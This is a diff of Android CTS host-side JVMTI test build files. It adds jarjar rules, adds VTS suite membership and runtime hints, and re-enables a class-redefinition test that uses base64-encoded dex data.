diff --git a/hostsidetests/jvmti/base/run-test-based-app/AndroidManifest.xml b/hostsidetests/jvmti/base/run-test-based-app/AndroidManifest.xml
deleted file mode 100644
index a2d6ca6..0000000
--- a/hostsidetests/jvmti/base/run-test-based-app/AndroidManifest.xml
+++ /dev/null
@@ -1,39 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<!--
- * This is a sample of how to create an app for a run-test-based JVMTI
- * test.
- -->
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.jvmti.cts.run_test_{NR}">
-
-    <application android:debuggable="true">
-        <uses-library android:name="android.test.runner" />
-        <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="{NR}" />
-        <activity android:name="android.jvmti.JvmtiActivity" >
-        </activity>
-    </application>
-
-    <!--  self-instrumenting test package. -->
-    <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
-        android:label="CTS tests for JVMTI"
-        android:targetPackage="android.jvmti.cts.run_test_{NR}" >
-    </instrumentation>
-</manifest>
-
diff --git a/hostsidetests/jvmti/redefining/Android.mk b/hostsidetests/jvmti/redefining/Android.mk
index 4c8ac15..327aa69 100644
--- a/hostsidetests/jvmti/redefining/Android.mk
+++ b/hostsidetests/jvmti/redefining/Android.mk
@@ -18,8 +18,9 @@
 
 LOCAL_MODULE := CtsJvmtiRedefineClassesHostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/jvmti/redefining/app/Android.mk b/hostsidetests/jvmti/redefining/app/Android.mk
index 8ade23d..62e401c 100644
--- a/hostsidetests/jvmti/redefining/app/Android.mk
+++ b/hostsidetests/jvmti/redefining/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/redefining/app/src/android/jvmti/cts/JvmtiRedefineClassesTest.java b/hostsidetests/jvmti/redefining/app/src/android/jvmti/cts/JvmtiRedefineClassesTest.java
index a7bd120..d68d1ddc 100644
--- a/hostsidetests/jvmti/redefining/app/src/android/jvmti/cts/JvmtiRedefineClassesTest.java
+++ b/hostsidetests/jvmti/redefining/app/src/android/jvmti/cts/JvmtiRedefineClassesTest.java
@@ -342,7 +342,6 @@
              *      return-object v0
              *  .end method
             */
-            /* DISABLED Due to b/62237378
             new RedefineError(JvmtiErrors.FAILS_VERIFICATION, Transform2.class,
                     "ZGV4CjAzNQBOhefYdQRcgqmkwhWsSyzb5I3udX0SnJ44AwAAcAAAAHhWNBIAAAAAAAAAAIwCAAAN" +
                     "AAAAcAAAAAYAAACkAAAAAQAAALwAAAAAAAAAAAAAAAMAAADIAAAAAQAAAOAAAAA4AgAAAAEAAAAB" +
@@ -359,7 +358,6 @@
                     "BgAAAKQAAAADAAAAAQAAALwAAAAFAAAAAwAAAMgAAAAGAAAAAQAAAOAAAAACIAAADQAAAAABAAAE" +
                     "IAAAAgAAABgCAAADEAAAAgAAACgCAAAGIAAAAQAAADgCAAADIAAAAgAAAEgCAAABIAAAAgAAAFQC" +
                     "AAAAIAAAAQAAAH4CAAAAEAAAAQAAAIwCAAA="),
-             */
             /**
              * Base64 for this class.
              *
diff --git a/hostsidetests/jvmti/redefining/jarjar-rules.txt b/hostsidetests/jvmti/redefining/jarjar-rules.txt
new file mode 100644
index 0000000..63f7888
--- /dev/null
+++ b/hostsidetests/jvmti/redefining/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTestRedefining@1
diff --git a/hostsidetests/jvmti/run-tests/Android.mk b/hostsidetests/jvmti/run-tests/Android.mk
index 64fe597..ca07cab 100644
--- a/hostsidetests/jvmti/run-tests/Android.mk
+++ b/hostsidetests/jvmti/run-tests/Android.mk
@@ -13,5 +13,166 @@
 # limitations under the License.
 
 LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
 
+# shim classes. We use one that exposes the common functionality.
+LOCAL_SHIM_CLASSES := \
+  src/902-hello-transformation/src/art/Redefinition.java \
+  src/903-hello-tagging/src/art/Main.java \
+  src/989-method-trace-throw/src/art/Trace.java \
+
+LOCAL_SRC_FILES := $(LOCAL_SHIM_CLASSES)
+
+# Actual test classes.
+LOCAL_SRC_FILES += \
+  src/901-hello-ti-agent/src/art/Test901.java \
+  src/902-hello-transformation/src/art/Test902.java \
+  src/903-hello-tagging/src/art/Test903.java \
+  src/904-object-allocation/src/art/Test904.java \
+  src/905-object-free/src/art/Test905.java \
+  src/906-iterate-heap/src/art/Test906.java \
+  src/907-get-loaded-classes/src/art/Test907.java \
+    src/907-get-loaded-classes/src/art/Cerr.java \
+  src/908-gc-start-finish/src/art/Test908.java \
+  src/910-methods/src/art/Test910.java \
+  src/911-get-stack-trace/src/art/Test911.java \
+    src/911-get-stack-trace/src/art/AllTraces.java \
+    src/911-get-stack-trace/src/art/ControlData.java \
+    src/911-get-stack-trace/src/art/Frames.java \
+    src/911-get-stack-trace/src/art/OtherThread.java \
+    src/911-get-stack-trace/src/art/PrintThread.java \
+    src/911-get-stack-trace/src/art/Recurse.java \
+    src/911-get-stack-trace/src/art/SameThread.java \
+    src/911-get-stack-trace/src/art/ThreadListTraces.java \
+  src/912-classes/src-art/art/Test912.java \
+    src/912-classes/src-art/art/DexData.java \
+  src/913-heaps/src/art/Test913.java \
+  src/914-hello-obsolescence/src/art/Test914.java \
+  src/915-obsolete-2/src/art/Test915.java \
+  src/917-fields-transformation/src/art/Test917.java \
+  src/918-fields/src/art/Test918.java \
+  src/919-obsolete-fields/src/art/Test919.java \
+  src/920-objects/src/art/Test920.java \
+  src/922-properties/src/art/Test922.java \
+  src/923-monitors/src/art/Test923.java \
+  src/924-threads/src/art/Test924.java \
+  src/925-threadgroups/src/art/Test925.java \
+  src/926-multi-obsolescence/src/art/Test926.java \
+  src/927-timers/src/art/Test927.java \
+  src/928-jni-table/src/art/Test928.java \
+  src/930-hello-retransform/src/art/Test930.java \
+  src/931-agent-thread/src/art/Test931.java \
+  src/932-transform-saves/src/art/Test932.java \
+  src/933-misc-events/src/art/Test933.java \
+  src/940-recursive-obsolete/src/art/Test940.java \
+  src/942-private-recursive/src/art/Test942.java \
+  src/944-transform-classloaders/src/art/Test944.java \
+  src/945-obsolete-native/src/art/Test945.java \
+  src/947-reflect-method/src/art/Test947.java \
+  src/951-threaded-obsolete/src/art/Test951.java \
+  src/982-ok-no-retransform/src/art/Test982.java \
+  src/984-obsolete-invoke/src/art/Test984.java \
+  src/985-re-obsolete/src/art/Test985.java \
+  src/986-native-method-bind/src/art/Test986.java \
+  src/988-method-trace/src/art/Test988.java \
+    src/988-method-trace/src/art/Test988Intrinsics.java \
+  src/989-method-trace-throw/src/art/Test989.java \
+  src/990-field-trace/src/art/Test990.java \
+  src/991-field-trace-2/src/art/Test991.java \
+  src/992-source-data/src/art/Test992.java \
+    src/992-source-data/src/art/Target2.java \
+
+JVMTI_RUN_TEST_GENERATED_NUMBERS := \
+  901 \
+  902 \
+  903 \
+  904 \
+  905 \
+  906 \
+  907 \
+  908 \
+  910 \
+  911 \
+  912 \
+  913 \
+  914 \
+  915 \
+  917 \
+  918 \
+  919 \
+  920 \
+  922 \
+  923 \
+  924 \
+  925 \
+  926 \
+  927 \
+  928 \
+  930 \
+  931 \
+  932 \
+  933 \
+  940 \
+  942 \
+  944 \
+  945 \
+  947 \
+  951 \
+  982 \
+  984 \
+  985 \
+  986 \
+  988 \
+  989 \
+  990 \
+  991 \
+  992 \
+
+# Try to enforce that the directories correspond to the Java files we pull in.
+JVMTI_RUN_TEST_DIR_CHECK := $(sort $(foreach DIR,$(addprefix src/,$(JVMTI_RUN_TEST_GENERATED_NUMBERS)), \
+  $(filter $(DIR)%,$(LOCAL_SRC_FILES))))
+ifneq ($(sort $(LOCAL_SRC_FILES)),$(JVMTI_RUN_TEST_DIR_CHECK))
+  $(error Missing file, compare $(sort $(LOCAL_SRC_FILES)) with $(JVMTI_RUN_TEST_DIR_CHECK))
+endif
+
+LOCAL_MODULE_CLASS := JAVA_LIBRARIES
+LOCAL_MODULE_TAGS := optional
+LOCAL_JAVA_LANGUAGE_VERSION := 1.8
+LOCAL_MODULE := run-test-jvmti-java
+
+GENERATED_SRC_DIR := $(call local-generated-sources-dir)
+JVMTI_RUN_TEST_GENERATED_FILES := \
+  $(foreach NR,$(JVMTI_RUN_TEST_GENERATED_NUMBERS),$(GENERATED_SRC_DIR)/results.$(NR).expected.txt)
+
+define GEN_JVMTI_RUN_TEST_GENERATED_FILE
+
+GEN_INPUT := $(wildcard $(LOCAL_PATH)/src/$(1)*/expected.txt)
+ifeq (true,$(ANDROID_COMPILE_WITH_JACK))
+GEN_JACK := $(wildcard $(LOCAL_PATH)/src/$(1)*/expected_jack.diff)
+else
+GEN_JACK :=
+endif
+GEN_OUTPUT := $(GENERATED_SRC_DIR)/results.$(1).expected.txt
+$$(GEN_OUTPUT): PRIVATE_GEN_JACK := $$(GEN_JACK)
+$$(GEN_OUTPUT): $$(GEN_INPUT) $$(GEN_JACK)
+	cp $$< $$@
+ifneq (,$$(GEN_JACK))
+	(cd $$(dir $$@) && patch $$(notdir $$@)) < $$(PRIVATE_GEN_JACK)
+endif
+
+GEN_INPUT :=
+GEN_OUTPUT :=
+
+endef
+
+$(foreach NR,$(JVMTI_RUN_TEST_GENERATED_NUMBERS),\
+  $(eval $(call GEN_JVMTI_RUN_TEST_GENERATED_FILE,$(NR))))
+LOCAL_JAVA_RESOURCE_FILES := $(JVMTI_RUN_TEST_GENERATED_FILES)
+
+# Avoid linking against any @hide APIs.
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_JAVA_LIBRARY)
+
+include $(CLEAR_VARS)
 include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/run-tests/src b/hostsidetests/jvmti/run-tests/src
new file mode 120000
index 0000000..0291142
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/src
@@ -0,0 +1 @@
+../../../../art/test
\ No newline at end of file
diff --git a/hostsidetests/jvmti/run-tests/test-902/Android.mk b/hostsidetests/jvmti/run-tests/test-902/Android.mk
index f16dd85..e47ab62 100644
--- a/hostsidetests/jvmti/run-tests/test-902/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-902/Android.mk
@@ -18,8 +18,9 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest902HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/jvmti/run-tests/test-902/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-902/AndroidTest.xml
index 7c08e22..69cf790 100644
--- a/hostsidetests/jvmti/run-tests/test-902/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-902/AndroidTest.xml
@@ -23,5 +23,6 @@
         <option name="jar" value="CtsJvmtiRunTest902HostTestCases.jar" />
         <option name="set-option" value="test-file-name:CtsJvmtiRunTest902DeviceApp.apk" />
         <option name="set-option" value="package-name:android.jvmti.cts.run_test_902" />
+        <option name="runtime-hint" value="8s"/>
     </test>
 </configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-902/app/Android.mk b/hostsidetests/jvmti/run-tests/test-902/app/Android.mk
index 7c9001b..278351b 100644
--- a/hostsidetests/jvmti/run-tests/test-902/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-902/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-902/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-902/jarjar-rules.txt
new file mode 100644
index 0000000..1649520
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-902/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest902@1
diff --git a/hostsidetests/jvmti/run-tests/test-903/Android.mk b/hostsidetests/jvmti/run-tests/test-903/Android.mk
index b7d15bd..7ba63d8 100644
--- a/hostsidetests/jvmti/run-tests/test-903/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-903/Android.mk
@@ -18,8 +18,9 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest903HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/jvmti/run-tests/test-903/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-903/AndroidTest.xml
index 2ab9b3e..3bec8b1 100644
--- a/hostsidetests/jvmti/run-tests/test-903/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-903/AndroidTest.xml
@@ -23,5 +23,6 @@
         <option name="jar" value="CtsJvmtiRunTest903HostTestCases.jar" />
         <option name="set-option" value="test-file-name:CtsJvmtiRunTest903DeviceApp.apk" />
         <option name="set-option" value="package-name:android.jvmti.cts.run_test_903" />
+        <option name="runtime-hint" value="8s"/>
     </test>
 </configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-903/app/Android.mk b/hostsidetests/jvmti/run-tests/test-903/app/Android.mk
index c523dce..08a8f4e 100644
--- a/hostsidetests/jvmti/run-tests/test-903/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-903/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-903/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-903/jarjar-rules.txt
new file mode 100644
index 0000000..f1a253e
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-903/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest903@1
diff --git a/hostsidetests/jvmti/run-tests/test-904/Android.mk b/hostsidetests/jvmti/run-tests/test-904/Android.mk
index 3655374..fa9a94e 100644
--- a/hostsidetests/jvmti/run-tests/test-904/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-904/Android.mk
@@ -18,8 +18,9 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest904HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/jvmti/run-tests/test-904/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-904/AndroidTest.xml
index 7a8a700..577c202 100644
--- a/hostsidetests/jvmti/run-tests/test-904/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-904/AndroidTest.xml
@@ -23,5 +23,6 @@
         <option name="jar" value="CtsJvmtiRunTest904HostTestCases.jar" />
         <option name="set-option" value="test-file-name:CtsJvmtiRunTest904DeviceApp.apk" />
         <option name="set-option" value="package-name:android.jvmti.cts.run_test_904" />
+        <option name="runtime-hint" value="8s"/>
     </test>
 </configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-904/app/Android.mk b/hostsidetests/jvmti/run-tests/test-904/app/Android.mk
index e248dab..1805c35 100644
--- a/hostsidetests/jvmti/run-tests/test-904/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-904/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-904/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-904/jarjar-rules.txt
new file mode 100644
index 0000000..e2fe6f33
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-904/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest904@1
diff --git a/hostsidetests/jvmti/run-tests/test-905/Android.mk b/hostsidetests/jvmti/run-tests/test-905/Android.mk
index 065585e..97678be 100644
--- a/hostsidetests/jvmti/run-tests/test-905/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-905/Android.mk
@@ -18,8 +18,9 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest905HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/jvmti/run-tests/test-905/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-905/AndroidTest.xml
index 87bac7e..96ef377 100644
--- a/hostsidetests/jvmti/run-tests/test-905/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-905/AndroidTest.xml
@@ -23,5 +23,6 @@
         <option name="jar" value="CtsJvmtiRunTest905HostTestCases.jar" />
         <option name="set-option" value="test-file-name:CtsJvmtiRunTest905DeviceApp.apk" />
         <option name="set-option" value="package-name:android.jvmti.cts.run_test_905" />
+        <option name="runtime-hint" value="8s"/>
     </test>
 </configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-905/app/Android.mk b/hostsidetests/jvmti/run-tests/test-905/app/Android.mk
index 12472e1..082dd05 100644
--- a/hostsidetests/jvmti/run-tests/test-905/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-905/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-905/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-905/jarjar-rules.txt
new file mode 100644
index 0000000..9b0c5aa
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-905/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest905@1
diff --git a/hostsidetests/jvmti/run-tests/test-906/Android.mk b/hostsidetests/jvmti/run-tests/test-906/Android.mk
index 5a61e0f..7b6e063 100644
--- a/hostsidetests/jvmti/run-tests/test-906/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-906/Android.mk
@@ -18,8 +18,9 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest906HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/jvmti/run-tests/test-906/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-906/AndroidTest.xml
index 37d2fe0..217c127 100644
--- a/hostsidetests/jvmti/run-tests/test-906/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-906/AndroidTest.xml
@@ -23,5 +23,6 @@
         <option name="jar" value="CtsJvmtiRunTest906HostTestCases.jar" />
         <option name="set-option" value="test-file-name:CtsJvmtiRunTest906DeviceApp.apk" />
         <option name="set-option" value="package-name:android.jvmti.cts.run_test_906" />
+        <option name="runtime-hint" value="8s"/>
     </test>
 </configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-906/app/Android.mk b/hostsidetests/jvmti/run-tests/test-906/app/Android.mk
index 783ec20..0a1b017 100644
--- a/hostsidetests/jvmti/run-tests/test-906/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-906/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-906/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-906/jarjar-rules.txt
new file mode 100644
index 0000000..9e40985
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-906/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest906@1
diff --git a/hostsidetests/jvmti/run-tests/test-907/Android.mk b/hostsidetests/jvmti/run-tests/test-907/Android.mk
index 5629150..a64d940 100644
--- a/hostsidetests/jvmti/run-tests/test-907/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-907/Android.mk
@@ -18,8 +18,9 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest907HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/jvmti/run-tests/test-907/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-907/AndroidTest.xml
index e9948e7..f6662a9 100644
--- a/hostsidetests/jvmti/run-tests/test-907/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-907/AndroidTest.xml
@@ -23,5 +23,6 @@
         <option name="jar" value="CtsJvmtiRunTest907HostTestCases.jar" />
         <option name="set-option" value="test-file-name:CtsJvmtiRunTest907DeviceApp.apk" />
         <option name="set-option" value="package-name:android.jvmti.cts.run_test_907" />
+        <option name="runtime-hint" value="8s"/>
     </test>
 </configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-907/app/Android.mk b/hostsidetests/jvmti/run-tests/test-907/app/Android.mk
index 9ecfdd5..4cc8de3 100644
--- a/hostsidetests/jvmti/run-tests/test-907/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-907/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-907/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-907/jarjar-rules.txt
new file mode 100644
index 0000000..9c6b06f
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-907/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest907@1
diff --git a/hostsidetests/jvmti/run-tests/test-908/Android.mk b/hostsidetests/jvmti/run-tests/test-908/Android.mk
index f260e26..a4a3716 100644
--- a/hostsidetests/jvmti/run-tests/test-908/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-908/Android.mk
@@ -18,8 +18,9 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest908HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/jvmti/run-tests/test-908/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-908/AndroidTest.xml
index 3298b96..94cc519 100644
--- a/hostsidetests/jvmti/run-tests/test-908/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-908/AndroidTest.xml
@@ -23,5 +23,6 @@
         <option name="jar" value="CtsJvmtiRunTest908HostTestCases.jar" />
         <option name="set-option" value="test-file-name:CtsJvmtiRunTest908DeviceApp.apk" />
         <option name="set-option" value="package-name:android.jvmti.cts.run_test_908" />
+        <option name="runtime-hint" value="8s"/>
     </test>
 </configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-908/app/Android.mk b/hostsidetests/jvmti/run-tests/test-908/app/Android.mk
index 8cbf7db9..f4e077c 100644
--- a/hostsidetests/jvmti/run-tests/test-908/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-908/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-908/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-908/jarjar-rules.txt
new file mode 100644
index 0000000..7915bff
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-908/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest908@1
diff --git a/hostsidetests/jvmti/run-tests/test-910/Android.mk b/hostsidetests/jvmti/run-tests/test-910/Android.mk
index bc06790..dc913dd 100644
--- a/hostsidetests/jvmti/run-tests/test-910/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-910/Android.mk
@@ -18,8 +18,9 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest910HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_HOST_JAVA_LIBRARY)
 
